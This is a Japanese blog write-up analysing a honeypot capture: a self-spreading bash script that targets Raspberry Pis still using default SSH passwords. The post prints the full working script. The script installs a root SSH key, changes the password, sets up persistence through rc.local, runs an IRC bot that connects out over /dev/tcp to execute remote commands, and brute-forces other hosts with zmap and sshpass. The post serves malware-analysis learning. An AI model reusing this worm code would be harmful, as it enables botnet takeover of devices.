teppay’s log

技術ブログです。

はじめてのハニーポットログ分析 - RaspberryPiにIRCBotを設置しようとする攻撃

はじめに

  • Cowrieでダウンロードされたファイルを見ていたら、シェルスクリプトを見つけました。
  • 現在、PracticalMalwareAnalysisでマルウェア解析を勉強中ですが、まだまだ本物の検体は扱えないと思います。
  • ただシェルスクリプトなら何をしているかわかるかなと思い、今回分析してみることにしました。
  • まともにログ分析をするはじめての記事なので、攻撃事例紹介というよりは、どうやってやったかというWrite up的な記事にしようと思います。

やったこと

攻撃?を受けたのは、低対話型SSHハニーポットであるCowrieで、最近やり方を知って、Cowrieの認証をUserDB方式に変えていたところに来たものです。

teppay.hatenablog.com

なんのアカウントで待ち受けていたかというと、pi/raspberry(Raspbianのデフォルト)です。
「はじめに」にも書きましたが、今回の記事の発端は、Cowrieで不正ログインしたユーザがダウンロードしたファイルをfileコマンドで調べたら、

b33b30c3cc7e027320e4d203303cc36a4e84b44451278bbb524ec54d5f61a4d6: Bourne-Again shell script executable (binary data)

bashシェルスクリプトであることがわかって、「自分でも分析できるんじゃね?」と思ったからです。

1. VirusTotal

まずは表層解析の定番?のVirusTotalです。
Cowrie(というかほとんどのハニーポット)では攻撃などによってダウンロードしたファイルは、そのファイルのハッシュ値にリネームされた上で専用のディレクトリに移動されます。
なので、ファイル名で検索をかけることで、VirusTotalにすでに提出されているかどうか調べることが出来ます。
今回分析するシェルスクリプトのSHA256ハッシュ値b33b30c3cc7e027320e4d203303cc36a4e84b44451278bbb524ec54d5f61a4d6です。 f:id:teppay:20180121003449p:plain このような結果でした。
ここでまず驚いたのは、分析日時が2時間前と表示されている点です。世界のどこかで同じ検体を入手して、VirusTotalで分析している人がいるわけです。
いままではハニーポットを運用していても、「入門編」レベルなことしかしていなかったため、なんとなくやっとハニーポッターの仲間入りできたような気がしてゾクゾクしました笑

25/58と高いのか低いのかよくわからない検出率でしたが、それぞれの「ウイルス対策ソフト」の検出名をみてみると、TrojanIRCBotBackdoorなど怪しいものがたっぷりだったので、悪意のあるものと判断して先に進みます。

2. Cowrieの通信ログの分析

ダウンロードされたシェルスクリプトを解析していきたいところですが、まずはこのシェルスクリプトがどのような経緯でダウンロードされたかを見ていこうと思います。
Cowrieでは、(もちろん)ダウンロードされたファイルのみでなく、アクセスログやシェル内での攻撃者の行動などをJSONやtextの形式で記録しています。
ログから該当するアクセスを拾ってみると、同じIPから同一ユーザ名/パスワードを使って2度のアクセスが短いスパンでありました。

1回目のアクセス

まず一回目は、以下の様なアクセスログが記録されています(IPアドレスは******で意図的に隠しています)

{
  "eventid": "cowrie.login.success",
  "username": "pi",
  "timestamp": "2018-01-19T01:58:13.797053Z",
  "message": "login attempt [pi/raspberry] succeeded",
  "system": "SSHService 'ssh-userauth' on HoneyPotSSHTransport,1715,******",
  "isError": 0,
  "src_ip": "*******",
  "session": "d3c411dda805",
  "password": "raspberry",
  "sensor": "b96141e2dfce"
}
{
  "eventid": "cowrie.command.input",
  "timestamp": "2018-01-19T01:58:14.724173Z",
  "message": "CMD: scp -t /tmp/N0yShQaN",
  "system": "SSHChannel session (0) on SSHService 'ssh-connection' on HoneyPotSSHTransport,1715,******",
  "isError": 0,
  "src_ip": "******",
  "session": "d3c411dda805",
  "input": "scp -t /tmp/N0yShQaN",
  "sensor": "b96141e2dfce"
}
{
  "eventid": "cowrie.session.closed",
  "timestamp": "2018-01-19T01:58:14.784779Z",
  "message": "Connection lost after 1 seconds",
  "system": "HoneyPotSSHTransport,1715,******",
  "isError": 0,
  "src_ip": "******",
  "duration": 1.2227919101715088,
  "session": "d3c411dda805",
  "sensor": "b96141e2dfce"
}

これらのログでわかるのは以下のことです。

ユーザ名pi、パスワードraspberryでアクセスしてきている。

このユーザ/パスワードの組からRaspberryPiを標的とした攻撃の可能性を考え、同一IPアドレスによるログイン試行を確認してみると上記のアクセスの他に、

  • pi/raspberryraspberry993311

の組み合わせでのログイン試行があったため、RaspberryPiを標的としていることを確信しました。

scp -t /tmp/N0yShQaNというコマンドを実行している。

scpコマンドのtオプションは、manにも書かれていない隠しコマンド的なオプションらしく、最初なにをしているのかわかりませんでした。
しかしhttp://ttssh2.osdn.jp/tmp/scp_memo.txtのサイトを見つけ、なんとなく理解できました。
詳しくは上記のWebサイトを参照していただきたいのですが、SSH接続中にファイルを転送する方法で、SSH接続中にscp -t <file_path>を実行すると、標準入力が入力待ちになり、そこでファイル名やファイルの中身を入力することで入力したファイルが転送されるというもののようです。

例えば以下のようにすると、

$ scp -t /tmp/test
C0666 8 test
testtest
\0

リモートの/tmp/配下にtesttestという内容の、testというファイルができます。

つまり上記のコマンドでは、リモートの/tmp/配下に攻撃者のローカルで入力された内容のN0yShQaNというファイルを作成したということがわかります。このログからはどのような内容のファイルを作成したかわからないわけですが、Cowrieが退避してくれたファイルがそれに当たるので、攻撃者はシェルスクリプト/tmp/N0yShQaNとして送信してきたことがわかります。 N0yShQaNというファイル名でググって見ましたがなにもわかりませんでした。

上記のコマンドしか実行していない

マルウェア?をダウンロードしたのであれば、それを実行したいはずですが、このセッションではその実行のためのコマンド実行はありませんでした。
このことから、このあと紹介する2つ目のアクセスがあることに気づきました。

1.2227919101715088秒?という短いセッション継続時間

まあ当たり前ですが、人が毎回手でコマンドを実行しているわけはなく、たっくさんのIPアドレスに対して、自動でログイン試行するプログラムが走っているんでしょう。

2回目のアクセス

2回目は、以下の様なアクセスログが記録されています(IPアドレスは******で意図的に隠しています)

{
  "eventid": "cowrie.login.success",
  "username": "pi",
  "timestamp": "2018-01-19T01:58:16.205180Z",
  "message": "login attempt [pi/raspberry] succeeded",
  "system": "SSHService 'ssh-userauth' on HoneyPotSSHTransport,1717,******",
  "isError": 0,
  "src_ip": "******",
  "session": "c45babcd5491",
  "password": "raspberry",
  "sensor": "b96141e2dfce"
}
{
  "eventid": "cowrie.command.input",
  "timestamp": "2018-01-19T01:58:16.791635Z",
  "message": "CMD: cd /tmp && chmod +x N0yShQaN && bash -c ./N0yShQaN",
  "system": "SSHChannel session (0) on SSHService 'ssh-connection' on HoneyPotSSHTransport,1717,******",
  "isError": 0,
  "src_ip": "******",
  "session": "c45babcd5491",
  "input": "cd /tmp && chmod +x N0yShQaN && bash -c ./N0yShQaN",
  "sensor": "b96141e2dfce"
}
{
  "eventid": "cowrie.session.closed",
  "timestamp": "2018-01-19T01:58:16.825844Z",
  "message": "Connection lost after 0 seconds",
  "system": "HoneyPotSSHTransport,1717,******",
  "isError": 0,
  "src_ip": "******",
  "duration": 0.943026065826416,
  "session": "c45babcd5491",
  "sensor": "b96141e2dfce"
}

これらのログからわかることは以下のことです。

(同じIPアドレスから)pi/raspberryの組み合わせで再びのアクセス

同一IPから同一のユーザ名/パスワードの組を用いてのログインです。
また、タイムスタンプを見ていただければわかりますが、2つのアクセスは1秒程度の間隔で行われています。このことと実行コマンドから、この2つのアクセスが1連の攻撃であると判断しました。

cd /tmp && chmod +x N0yShQaN && bash -c ./N0yShQaNというコマンドを実行している。

実行されたコマンドを改行して見やすくすると、

cd /tmp && 
chmod +x N0yShQaN &&
bash -c ./N0yShQaN

このように3つのコマンドを1行で表しており、これは明らかに1回目のアクセスでダウンロードした/tmp/N0yShQaNのPermissionを実行可能に変更して、とくにオプションなしでbashで実行しています。
上にも書きましたが、このことからも2つの同一IPからのアクセスが1連の攻撃であることがわかります。

3. ダウンロードされたシェルスクリプトの分析

これまでのログ分析では、シェルスクリプトをダウンロードして実行したということしかわかりませんでしたので、シェルスクリプトの内容を分析していく必要があります。
長いスクリプトですので分けて分析していきます。

#!/bin/bash

MYSELF=`realpath $0`
DEBUG=/dev/null
echo $MYSELF >> $DEBUG

if [ "$EUID" -ne 0 ]
then 
    NEWMYSELF=`mktemp -u 'XXXXXXXX'`
    sudo cp $MYSELF /opt/$NEWMYSELF
    sudo sh -c "echo '#!/bin/sh -e' > /etc/rc.local"
    sudo sh -c "echo /opt/$NEWMYSELF >> /etc/rc.local"
    sudo sh -c "echo 'exit 0' >> /etc/rc.local"
    sleep 1
    sudo reboot
else
TMP1=`mktemp`
echo $TMP1 >> $DEBUG
  • $EUIDとはスクリプトを実行したユーザ権限を示す数字が入っており、0場合はroot権限であることを表しています。
  • /etc/rc.localは、bashでいうところの.bashrcのようなファイルで、Linuxが起動する際に自動で実行してほしいコマンドを書くファイルです。
  • $DEBUGには/dev/nullが代入されており、スクリプト内で事あるごとに>> $DEBUGという部分が見受けられます。/dev/nullはNULLデバイスと呼ばれるスペシャルファイルで 、簡単に言えばこれに対してリダイレクトで何かを入力してもその入力はただ破棄され、無意味な処理となります。おそれくこれは変数名の通り、デバッグ時には$DEBUGに他のファイルが指定されておりログを取っていたものと思われますので、その部分は無視して進めます。

つまりこの部分では、スクリプトがroot権限で実行されていなければ/opt/ 配下にこのスクリプト自体をコピーし、再起動時に自動でそのコピーが実行されるように/etc/rc.localを上書きして再起動するという処理を行っています。
これによって、スクリプトはroot権限で実行し直されます。

killall bins.sh
killall minerd
killall node
killall nodejs
killall ktx-armv4l
killall ktx-i586
killall ktx-m68k
killall ktx-mips
killall ktx-mipsel
killall ktx-powerpc
killall ktx-sh4
killall ktx-sparc
killall arm5
killall zmap
killall kaiten
killall perl
  • killallは、killコマンドがプロセスIDを指定してプロセスを終了させるのに対して、プロセス名を指定してプロセスを終了させます。

この部分では、killallコマンドを使ってさまざまなプロセスをkillしていることがわかります。ちなみに、killしているほとんどのプロセスがマルウェアや仮想通貨のマイナーで、いわゆる競合他社的な奴らをとりあえず止めているようです。

echo "127.0.0.1 bins.deutschland-zahlung.eu" >> /etc/hosts
rm -rf /root/.bashrc
rm -rf /home/pi/.bashrc

usermod -p \$6\$vGkGPKUr\$heqvOhUzvbQ66Nb0JGCijh/81sG1WACcZgzPn8A0Wn58hHXWqy5yOgTlYJEbOjhkHD0MRsAkfJgjU/ioCYDeR1 pi
  • usermodコマンドのpオプションでは、ユーザのパスワードを暗号化されたパスワードを指定することで設定します。

最初の部分では、bashの設定ファイルを削除しています。これは、ユーザによる設定で攻撃者側に予期しないことが起こらないようにしていると推測します。
また、ユーザのパスワードを変更しています。コマンドの引数となっている長い文字列は暗号化されたものであるため、どのようなパスワードに変更しようとしているかはわかりません。

mkdir -p /root/.ssh
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCl0kIN33IJISIufmqpqg54D6s4J0L7XV2kep0rNzgY1S1IdE8HDef7z1ipBVuGTygGsq+x4yVnxveGshVP48YmicQHJMCIljmn6Po0RMC48qihm/9ytoEYtkKkeiTR02c6DyIcDnX3QdlSmEqPqSNRQ/XDgM7qIB/VpYtAhK/7DoE8pqdoFNBU5+JlqeWYpsMO+qkHugKA5U22wEGs8xG2XyyDtrBcw10xz+M7U8Vpt0tEadeV973tXNNNpUgYGIFEsrDEAjbMkEsUw+iQmXg37EusEFjCVjBySGH3F+EQtwin3YmxbB9HRMzOIzNnXwCFaYU5JjTNnzylUBp/XB6B"  >> /root/.ssh/authorized_keys

この部分ではrootユーザとしてSSH接続するための公開鍵を設定しています。

echo "nameserver 8.8.8.8" >> /etc/resolv.conf
rm -rf /tmp/ktx*
rm -rf /tmp/cpuminer-multi
rm -rf /var/tmp/kaiten

ここではDNSサーバのIPアドレス8.8.8.8に指定して、前述した競合他社のファイルと見られるものを削除しています。

cat > /tmp/public.pem <<EOFMARKER
-----BEGIN PUBLIC KEY-----
MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC/ihTe2DLmG9huBi9DsCJ90MJs
glv7y530TWw2UqNtKjPPA1QXvNsWdiLpTzyvk8mv6ObWBF8hHzvyhJGCadl0v3HW
rXneU1DK+7iLRnkI4PRYYbdfwp92nRza00JUR7P4pghG5SnRK+R/579vIiy+1oAF
WRq+Z8HYMvPlgSRA3wIDAQAB
-----END PUBLIC KEY-----
EOFMARKER

/tmp/public.pemとして公開鍵証明書?を保存しています。

BOT=`mktemp -u 'XXXXXXXX'`

cat > /tmp/$BOT <<'EOFMARKER'
#!/bin/bash

SYS=`uname -a | md5sum | awk -F' ' '{print $1}'`
NICK=a${SYS:24}
while [ true ]; do

  arr[0]="**.undernet.org"
  arr[1]="***.undernet.org"
  arr[2]="****.**.***.UnderNet.org"
  arr[3]="***.***.****.Undernet.Org"
  arr[4]="**.*****.***.UnderNet.org"
  arr[5]="**.*********.*.Undernet.org"
  rand=$[$RANDOM % 6]
  svr=${arr[$rand]}

  eval 'exec 3<>/dev/tcp/$svr/6667;'
  if [[ ! "$?" -eq 0 ]] ; then
          continue
  fi

  echo $NICK

  eval 'printf "NICK $NICK\r\n" >&3;'
  if [[ ! "$?" -eq 0 ]] ; then
          continue
  fi
  eval 'printf "USER user 8 * :IRC hi\r\n" >&3;'
  if [[ ! "$?" -eq 0 ]] ; then
      continue
  fi

  # Main loop
  while [ true ]; do
      eval "read msg_in <&3;"

      if [[ ! "$?" -eq 0 ]] ; then
          break
      fi

      if  [[ "$msg_in" =~ "PING" ]] ; then
          printf "PONG %s\n" "${msg_in:5}";
          eval 'printf "PONG %s\r\n" "${msg_in:5}" >&3;'
          if [[ ! "$?" -eq 0 ]] ; then
              break
          fi
          sleep 1
          eval 'printf "JOIN #biret\r\n" >&3;'
          if [[ ! "$?" -eq 0 ]] ; then
              break
          fi
      elif [[ "$msg_in" =~ "PRIVMSG" ]] ; then
          privmsg_h=$(echo $msg_in| cut -d':' -f 3)
          privmsg_data=$(echo $msg_in| cut -d':' -f 4)
          privmsg_nick=$(echo $msg_in| cut -d':' -f 2 | cut -d'!' -f 1)

          hash=`echo $privmsg_data | base64 -d -i | md5sum | awk -F' ' '{print $1}'`
          sign=`echo $privmsg_h | base64 -d -i | openssl rsautl -verify -inkey /tmp/public.pem -pubin`

          if [[ "$sign" == "$hash" ]] ; then
              CMD=`echo $privmsg_data | base64 -d -i`
              RES=`bash -c "$CMD" | base64 -w 0`
              eval 'printf "PRIVMSG $privmsg_nick :$RES\r\n" >&3;'
              if [[ ! "$?" -eq 0 ]] ; then
                  break
              fi
          fi
      fi
  done
done
EOFMARKER

chmod +x /tmp/$BOT
nohup /tmp/$BOT 2>&1 > /tmp/bot.log &
rm /tmp/nohup.log -rf
rm -rf nohup.out
sleep 3
rm -rf /tmp/$BOT

この部分では、/tmp/配下に新しいシェルスクリプトを作成し、実行しています。また、変数名からもわかるとおり、この新しく作成され実行されているスクリプトは、Botの動作をしており、IRCをC2通信に用いていることからIRCBotと呼ばれるものと判断できます。
IRCサーバのドメインは一応一部隠しています。 以下に実行されるIRCBotの動作を簡単に説明します。

  • uname-aの結果を使って、ユニークなニックネームを生成
  • 以下を繰り返す
    • 6つのIRCサーバの候補からランダムに1つ選び、生成したユニークなニックネームをつかって接続、接続が切れたら再び接続
    • "PING"が含まれたメッセージを受け取ったら、"PONG <ニックネーム>"と返答する
    • "PRIVMSG"が含まれたメッセージを受け取ったら、そのメッセージからデータ部分と認証子を取り出し、すでに作成した公開鍵/tmp/public.pemを使って認証を行う。認証を通れば、データ部分をデコードして手に入るコマンドを実行し、その結果を""PRIVMSG <ニックネーム> :<結果>"という形で送信する。
NAME=`mktemp -u 'XXXXXXXX'`

date > /tmp/.s

apt-get update -y --force-yes
apt-get install zmap sshpass -y --force-yes

while [ true ]; do
    FILE=`mktemp`
    zmap -p 22 -o $FILE -n 100000
    killall ssh scp
    for IP in `cat $FILE`
    do
        sshpass -praspberry scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberry ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
        sshpass -praspberryraspberry993311 scp -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no $MYSELF pi@$IP:/tmp/$NAME  && echo $IP >> /opt/.r && sshpass -praspberryraspberry993311 ssh pi@$IP -o ConnectTimeout=6 -o NumberOfPasswordPrompts=1 -o PreferredAuthentications=password -o UserKnownHostsFile=/dev/null -o StrictHostKeyChecking=no "cd /tmp && chmod +x $NAME && bash -c ./$NAME" &
    done
    rm -rf $FILE
    sleep 10
done

fi
  • zmap : 有名なネットワークスキャナ

    ZMAPとは、ミシガン大学の研究者たちがワシントンで開催されたUSENIXセキュリティカンファレンス上で発表した、オープンソースのネットワークスキャナです。  このツールの売りは、「スキャンの速さ」で、インターネット上にあるすべてのIPv4アドレス(/0)をわずか45分でスキャンできると言われています。 ネットワークスキャンツール「ZMAP」のインストール - sonickun.log

  • sshpass : SSH接続を自動化したい際に、対話形式でパスワード入力をしなくてもいいので楽に接続できるコマンド

これで最後です。この部分では、他のRaspberryPiに感染を拡大するための自己伝染機能の処理が書いてあります。以下にこの部分の処理について簡単に説明します。

  • zmapによって、100000のIPアドレスを調べ、22番ポートが開いているマシンのIPアドレスをファイルに出力
  • zmapによってファイルに出力されたIPアドレスそれぞれに対して、sshpassを使って次の2つの組み合わせでログイン試行する
    • pi/raspberry
    • pi/raspberryraspberry993311
  • ログインに成功した場合以下の3つの処理を行う
    • sshpassのscp機能によって、/tmp/$NAMEとして、自分自身のファイル(今回分析したこのシェルスクリプト)を送信する($NAMEにはランダムな8文字のファイル名が格納されている)
    • 成功したIPアドレス/tmp/.rに書き込む
    • sshpassのssh機能で再度ログインして、cd /tmp && chmod +x $NAME && bash -c ./$NAMEを実行する。

この感染拡大のための処理には見覚えがあります。pi/raspberryraspberry993311は同一IPからログイン試行があった組み合わせで、ログイン成功後の処理はCowrieが記録したものと同一のものです。

つまり、今回Cowrieが受けたこの一連の攻撃は、攻撃者のマシンから直接アクセスがあったわけではなく、他のRaspberryPiに感染したこのマルウェアが伝染のためにアクセスしてきたものだったと結論付けられます

わかったこと

  • パスワードの設定が甘いRaspberryPiを標的とした、IRCBotを設置するためのシェルスクリプトだった
  • また自己伝染の機能も持っている
  • 今回Cowrieが記録した攻撃は、その自己伝染の機能によるものである可能性が高い

余談

結構流行ってる?っぽい

シェルスクリプトの内容を読んでいくにあたって、ググっていくなかで同じスクリプトに感染して、「なんじゃこれ?」ってなってる人や、分析している人を複数みつけた。
ただ大体が去年の記事なので乗り遅れた感。

raspberrypi.stackexchange.com

tobsan.se

うちのアンチウイルスソフトは優秀でした

シェルスクリプトを読むにあたって、ローカルのVSCodeにコピペして読み進めていたところ、保存もしていないのにアンチウイルスくんが騒ぎ出しまして、なにかと思ったら、おそらくエディタがアクシデント?に備えて自動で保存してくれたファイルに反応してリアルタイムで削除してくれていました。
優秀なお手を煩わせてもうしわけありませんでした。

f:id:teppay:20180121230636p:plain

まとめ

  • はじめてまともにハニーポットのログ分析をした
  • はじめてにしては重たいものを選んでしまったと途中で後悔した。
  • 結果的にはじめて「マルウェア」に触れることができて、それの分析も自分なりにしっかり出来たつもりでいるので、成長を感じた
  • デフォルトのパスワードは変えなきゃだめ、ぜったい!